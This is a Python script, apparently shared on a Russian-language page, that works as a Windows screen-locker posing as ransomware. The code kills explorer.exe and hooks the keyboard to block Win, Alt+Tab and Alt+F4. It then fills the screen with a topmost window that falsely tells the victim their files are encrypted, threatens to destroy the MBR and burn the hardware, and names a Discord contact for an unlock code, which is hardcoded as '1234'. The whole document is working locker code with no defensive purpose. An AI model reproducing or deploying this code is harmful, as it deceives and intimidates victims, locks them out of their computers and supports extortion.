Загрузка данных
import tkinter as tk
import sys
import threading
import time
import platform
import ctypes
import os
from ctypes import wintypes
PASSWORD = "1234"
BOOT_LINES = [
"Booting windows...",
"Windows blocked *",
"Service xcrypt started! *"
]
TOTAL_BOOT_TIME = 2.0
ASCII_TIME = 1.0
ASCII_ART = r""" ...
;::::;
;::::; :;
;:::::' :;
;:::::; ;.
,:::::' ; OOO\
::::::; ; OOOOO\
;:::::; ; OOOOOOOO
,;::::::; ;' / OOOOOOO
;:::::::::`. ,,,;. / / DOOOOOO
.';:::::::::::::::::;, / / DOOOO
,::::::;::::::;;;;::::;, / / DOOO
;`::::::`'::::::;;;::::: ,#/ / DOOO
:`:::::::`;::::::;;::: ;::# / DOOO
::`:::::::`;:::::::: ;::::# / DOO
`:`:::::::`;:::::: ;::::::#/ DOO
:::`:::::::`;; ;:::::::::## OO
::::`:::::::`;::::::::;:::# OO
`:::::`::::::::::::;'`:;::# O
`:::::`::::::::;' / / `:#
::::::`:::::;' / / `#"""
def kill_explorer():
"""Убиваем explorer.exe через os.system"""
try:
os.system("taskkill /f /im explorer.exe > nul 2>&1")
except:
pass
def restore_explorer():
try:
os.system("start explorer.exe")
except:
pass
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_SYSKEYDOWN = 0x0104
VK_LWIN = 0x5B
VK_RWIN = 0x5C
VK_TAB = 0x09
VK_F4 = 0x73
VK_ALT = 0x12
allowed_to_close = False
blocked = True
class KBDLLHOOKSTRUCT(ctypes.Structure):
_fields_ = [
("vkCode", wintypes.DWORD),
("scanCode", wintypes.DWORD),
("flags", wintypes.DWORD),
("time", wintypes.DWORD),
("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))
]
HOOKPROC = ctypes.WINFUNCTYPE(ctypes.c_int, ctypes.c_int, wintypes.WPARAM, ctypes.c_void_p)
def low_level_hook(nCode, wParam, lParam):
global blocked, allowed_to_close
if nCode < 0:
return user32.CallNextHookEx(0, nCode, wParam, lParam)
if not blocked or allowed_to_close:
return user32.CallNextHookEx(0, nCode, wParam, lParam)
if wParam in (WM_KEYDOWN, WM_SYSKEYDOWN):
kbd = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT)).contents
vk = kbd.vkCode
if vk in (VK_LWIN, VK_RWIN):
user32.keybd_event(vk, 0, 2, 0)
return 1
if user32.GetAsyncKeyState(VK_LWIN) & 0x8000 or user32.GetAsyncKeyState(VK_RWIN) & 0x8000:
return 1
if vk == VK_F4 and (user32.GetAsyncKeyState(VK_ALT) & 0x8000):
return 1
if vk == VK_TAB and (user32.GetAsyncKeyState(VK_ALT) & 0x8000):
return 1
return user32.CallNextHookEx(0, nCode, wParam, lParam)
hook_proc = HOOKPROC(low_level_hook)
hook_handle = user32.SetWindowsHookExW(WH_KEYBOARD_LL, hook_proc, kernel32.GetModuleHandleW(None), 0)
def unblock_keys():
global blocked, allowed_to_close
blocked = False
allowed_to_close = True
if hook_handle:
user32.UnhookWindowsHookEx(hook_handle)
root = tk.Tk()
root.title("Windows")
root.attributes("-fullscreen", True)
root.attributes("-topmost", True)
root.configure(bg="#0000AA", cursor="none")
root.overrideredirect(True)
def _real_close():
unblock_keys()
restore_explorer()
try:
root.destroy()
except:
pass
sys.exit(0)
def on_close_attempt():
global allowed_to_close
if allowed_to_close:
_real_close()
root.protocol("WM_DELETE_WINDOW", on_close_attempt)
boot_label = tk.Label(
root,
text="",
font=("Consolas", 28),
fg="white",
bg="#0000AA",
justify="left",
anchor="nw",
cursor="none"
)
boot_label.place(x=30, y=30, anchor="nw")
ascii_label = tk.Label(
root,
text="",
font=("Consolas", 20),
fg="white",
bg="#0000AA",
justify="left",
anchor="nw",
cursor="none"
)
ascii_label.place(x=30, y=30, anchor="nw")
ascii_label.place_forget()
interface_frame = tk.Frame(root, bg="#0000AA", cursor="none")
title_label = tk.Label(
interface_frame,
text="Ваши файлы зашифрованы",
font=("Arial", 22, "bold"),
fg="white",
bg="#0000AA",
cursor="none"
)
title_label.pack(pady=(0, 15))
text_frame = tk.Frame(interface_frame, bg="#0000AA", bd=3, relief="solid", highlightbackground="white",
highlightcolor="white", highlightthickness=2, cursor="none")
text_frame.pack(padx=30, pady=8, fill="x")
warning_text = (
"Увы! Вы подверглись масштабной хакерской атаке и теперь ваш компьютер заблокирован, "
"а все файлы на нём зашифрованы хакерской группировкой IMPOSTERZAB. Любые действия, "
"связанные с попыткой обмануть систему нанесут непоправимый вред. Вашему компьютеру "
"и приведут к потере важной информации без возможности восстановления. При попытке "
"снять блокировку MBR (главный загрузчик материнской платы) будет снесён, а все "
"компоненты компьютера сожжены рекурсивной нагрузкой."
)
warning_label = tk.Label(
text_frame,
text=warning_text,
font=("Arial", 14),
fg="white",
bg="#0000AA",
wraplength=900,
justify="left",
anchor="w",
padx=15,
pady=15,
cursor="none"
)
warning_label.pack(fill="x")
contact_frame = tk.Frame(interface_frame, bg="#0000AA", bd=3, relief="solid", highlightbackground="white",
highlightcolor="white", highlightthickness=2, cursor="none")
contact_frame.pack(padx=30, pady=(8, 8), fill="x")
contact_label = tk.Label(
contact_frame,
text="Для разблокировки свяжитесь с kvinti99_32376 (Discord)",
font=("Arial", 16, "bold"),
fg="white",
bg="#0000AA",
padx=15,
pady=10,
cursor="none"
)
contact_label.pack()
password_frame = tk.Frame(interface_frame, bg="#0000AA", bd=3, relief="solid", highlightbackground="white",
highlightcolor="white", highlightthickness=2, cursor="none")
password_frame.pack(padx=30, pady=8, fill="x")
password_title = tk.Label(
password_frame,
text="Введите код разблокировки",
font=("Arial", 17, "bold"),
fg="white",
bg="#0000AA",
pady=6,
cursor="none"
)
password_title.pack(fill="x")
password_entry = tk.Entry(
password_frame,
font=("Consolas", 24),
fg="black",
bg="white",
insertbackground="black",
bd=0,
justify="left",
cursor="none"
)
password_entry.pack(fill="x", padx=3, pady=(0, 3))
bottom_frame = tk.Frame(interface_frame, bg="#0000AA", cursor="none")
bottom_frame.pack(padx=30, pady=(8, 0), fill="x")
pc_name = platform.node() or "DESKTOP-USER"
pc_label = tk.Label(
bottom_frame,
text="Имя ПК: " + pc_name,
font=("Arial", 12),
fg="white",
bg="#0000AA",
cursor="none"
)
pc_label.pack(side="left")
enter_label = tk.Label(
bottom_frame,
text="Enter [Ввод]",
font=("Arial", 12),
fg="white",
bg="#4444AA",
padx=8,
pady=4,
cursor="none"
)
enter_label.pack(side="right")
def check_password(event=None):
entered = password_entry.get()
if entered == PASSWORD:
_real_close()
else:
password_entry.delete(0, "end")
warning_label.config(text="НЕВЕРНЫЙ КОД! ПОПРОБУЙ ЕЩЁ РАЗ.")
password_entry.bind("<Return>", check_password)
def boot_animation():
delay_per_line = TOTAL_BOOT_TIME / len(BOOT_LINES)
text = ""
for line in BOOT_LINES:
text += line + "\n"
boot_label.config(text=text)
time.sleep(delay_per_line)
boot_label.place_forget()
ascii_label.config(text=ASCII_ART)
ascii_label.place(x=30, y=30, anchor="nw")
time.sleep(ASCII_TIME)
ascii_label.place_forget()
interface_frame.place(relx=0.5, rely=0.5, anchor="center")
password_entry.focus_set()
threading.Thread(target=kill_explorer, daemon=True).start()
threading.Thread(target=boot_animation, daemon=True).start()
try:
root.mainloop()
except KeyboardInterrupt:
pass
unblock_keys()
restore_explorer()